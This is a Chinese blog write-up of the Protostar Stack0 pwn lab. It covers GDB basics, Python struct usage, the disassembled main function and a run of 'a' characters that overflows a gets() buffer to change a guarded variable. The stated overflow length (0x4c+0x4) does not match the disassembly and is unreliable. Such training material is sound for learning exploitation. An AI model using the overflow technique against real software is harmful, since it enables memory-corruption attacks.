Pwn系列之Protostar靶场Stack0题解

发布时间 2023-04-18 16:31:58作者: 嘉沐

无痛入门Pwn系列 Stack0题解

前提学习

GDB反调试相关

  1. 设置反汇编代码格式为intel格式
 set disassembly-flavor intel
  1. 反汇编函数
disas/disass/disassemble 函数名/起始地址[,结束地址]

示例:
disass main

具体反汇编哪一个函数信息,可以使用objdump查看。一般__funcname是系统函数。

  1. r 开始/重新执行 r 是 run的缩写
  2. b设置断点 b
格式:b *内存地址

delete:删除所有断点

delete num:删除编号为num的断点 

info break:列出所有断点
  1. ni 单步步过,相当于debug命令中的p
  2. si 单步步入,相当于debug命令中的t
  3. finish 执行到返回
  4. display 显示某寄存器的值
格式:display /x $寄存器名字。例如:display /x $eax
  1. x查看内存单元
格式:x  /nfu 内存地址 x means examine

       说明:
       n表示要显示的内存单元的个数
       f表示显示方式, 可取如下值:
       x 按十六进制格式显示变量。
       d 按十进制格式显示变量。
       u 按十进制格式显示无符号整型。
       o 按八进制格式显示变量。
       t 按二进制格式显示变量。
       a按十六进制格式显示变量。
       i 指令地址格式。
       c 按字符格式显示变量。

       s 按字符串格式显示变量。
       f 按浮点数格式显示变量。
       u表示一个地址单元的长度,其中:
       b表示单字节,
       h表示双字节,
       w表示四字节,
       g表示八字节。
  1. p查看变量值
格式: p 变量名

如果要查看变量的地址,用p &变量名 

struct模块

import  struct
# native byteorder
buffer  =  struct.pack( "ihb" ,  1 ,  2 ,  3 )
print  repr ( buffer )
print  struct.unpack( "ihb" ,  buffer )
# data from a sequence, network byteorder
data  =  [ 1 ,  2 ,  3 ]
buffer  =  struct.pack( "!ihb" ,  * data)
print  repr ( buffer )
print  struct.unpack( "!ihb" ,  buffer )
  
Output:
'\x01\x00\x00\x00\x02\x00\x03'
( 1 ,  2 ,  3 )
'\x00\x00\x00\x01\x00\x02\x03'
( 1 ,  2 ,  3 )

(gdb) disasse main
Dump of assembler code for function main:
0x080483f4 <main+0>:	push   ebp
0x080483f5 <main+1>:	mov    ebp,esp
0x080483f7 <main+3>:	and    esp,0xfffffff0
0x080483fa <main+6>:	sub    esp,0x60
0x080483fd <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:	lea    eax,[esp+0x1c]
0x08048409 <main+21>:	mov    DWORD PTR [esp],eax
0x0804840c <main+24>:	call   0x804830c <gets@plt>
0x08048411 <main+29>:	mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:	test   eax,eax
0x08048417 <main+35>:	je     0x8048427 <main+51>
0x08048419 <main+37>:	mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:	call   0x804832c <puts@plt>
0x08048425 <main+49>:	jmp    0x8048433 <main+63>
0x08048427 <main+51>:	mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:	call   0x804832c <puts@plt>
0x08048433 <main+63>:	leave  
0x08048434 <main+64>:	ret    
End of assembler dump.
0x8048500:	 "you have changed the 'modified' variable"
0x8048529:	 "Try again?"

从反汇编的角度思考,就是要使得esp+0x5c的内存里存放的值不能为0。gets函数固有的漏洞就是栈溢出,那么用脏数据覆盖0x4c+0x4个字节,就可以实现数据修改。

payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa